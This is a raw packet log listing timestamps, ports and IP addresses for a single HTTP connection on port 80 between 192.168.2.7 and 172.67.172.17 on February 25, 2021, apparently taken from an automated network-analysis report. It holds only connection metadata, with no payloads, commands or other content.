Feb 25, 2021 15:14:52.797466040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.797478914 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.797489882 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.797508001 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.798038960 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798064947 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798085928 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.798088074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798113108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798125982 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.798139095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798177004 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.798635960 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798660040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798683882 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798696995 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.798710108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798733950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.798748970 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.799513102 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.799547911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.799568892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.799588919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.799592972 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.799607992 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.799676895 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.800415039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.800441980 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.800462008 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.800487041 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.800504923 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.800514936 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.800534010 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.801212072 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.801239014 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.801263094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.801268101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.801289082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.801301956 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.801314116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.801353931 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.802108049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802135944 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802167892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802191019 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802194118 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.802216053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802226067 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.802905083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802934885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802958965 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.802970886 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.802983999 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.803005934 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.803008080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.803138971 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.803951025 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.803983927 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.804008961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.804025888 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.804263115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.804289103 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.804305077 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.804337978 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.804367065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.804377079 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.804393053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.804435968 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.805140018 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.805167913 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.805193901 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.805210114 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.805219889 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.805243015 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.805253983 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.806000948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806030035 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806054115 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.806054115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806078911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806093931 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.806103945 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806154966 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.806819916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806848049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806871891 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806895971 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806899071 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.806919098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.806935072 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.807662010 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.807744026 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.807859898 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.807884932 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.807909966 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.807934046 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.807984114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.808028936 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.808470011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.808497906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.808522940 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.808546066 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.808548927 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.808573961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.808592081 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.809322119 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.809348106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.809369087 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.809398890 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.809412956 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.809412956 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.809436083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.809484005 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.810112953 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.810139894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.810168982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.810188055 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.810193062 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.810219049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.810235977 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.810962915 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.810997009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811017990 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811041117 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.811044931 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811069965 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811089993 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.811125994 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.811753988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811783075 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811809063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811834097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811856985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811858892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.811881065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.811883926 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.811925888 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.812740088 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.812767029 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.812793970 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.812819958 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.812830925 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.812841892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.812860966 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.812865973 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.812906981 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.813749075 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.813823938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.813864946 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.813874006 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.813900948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.813926935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.813936949 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.813951969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.813976049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.813991070 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.814799070 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.814834118 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.814842939 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.814857006 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.814882040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.814892054 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.814907074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.814929962 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.814939976 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.815753937 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.815781116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.815805912 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.815813065 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.815833092 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.815844059 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.815859079 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.815882921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.815896034 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.816689968 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.816724062 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.816747904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.816751003 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.816771030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.816797018 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.816821098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.816854954 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.817677975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.817703009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.817727089 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.817733049 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.817750931 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.817773104 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.817774057 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.817796946 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.817820072 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.818538904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.818564892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.818588972 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.818589926 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.818610907 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.818624973 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.818636894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.818662882 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.818675041 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.819473028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.819502115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.819523096 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.819526911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.819550991 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.819562912 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.819575071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.819598913 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.819610119 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.820390940 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.820416927 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.820439100 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.820441008 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.820466042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.820475101 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.820488930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.820513964 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.820524931 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.821305037 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.821331978 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.821355104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.821365118 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.821393967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.821396112 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.821422100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.821446896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.821465969 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.822205067 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.822232962 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.822257042 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.822257042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.822283983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.822292089 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.822309971 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.822334051 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.822345972 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.823076010 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.823102951 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.823127985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.823129892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.823153019 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.823167086 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.823177099 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.823200941 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.823215008 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.823956013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.823986053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.824009895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.824019909 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.824037075 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.824049950 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.824062109 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.824084997 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.824101925 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.824903011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.824970961 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.824976921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825001955 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825042009 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.825078011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825118065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825125933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825202942 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.825690985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825721979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825743914 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.825746059 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825773954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825781107 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.825798035 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825820923 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.825831890 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.826554060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.826581955 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.826602936 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.826627970 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.826627970 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.826652050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.826663971 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.826689959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.826700926 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.827393055 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.827418089 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.827442884 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.827466965 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.827471972 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.827492952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.827493906 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.827517033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.827542067 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.828234911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.828263044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.828280926 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.828310966 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.828313112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.828339100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.828341961 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.828362942 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.828388929 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.828388929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.828450918 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.829196930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.829226971 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.829252005 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.829277039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.829293013 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.829303026 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.829318047 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.829327106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.829351902 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.829396009 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.830194950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.830223083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.830250025 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.830270052 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.830271959 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.830296040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.830300093 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.830322027 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.830348015 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.830348015 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.830409050 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.831111908 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831140995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831166983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831202030 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.831500053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831527948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831552029 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831563950 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.831578016 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831598043 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.831602097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831629038 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831641912 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.831654072 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.831697941 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.832425117 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.832452059 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.832470894 CET	80	49708	172.67.172.17	192.168.2.7
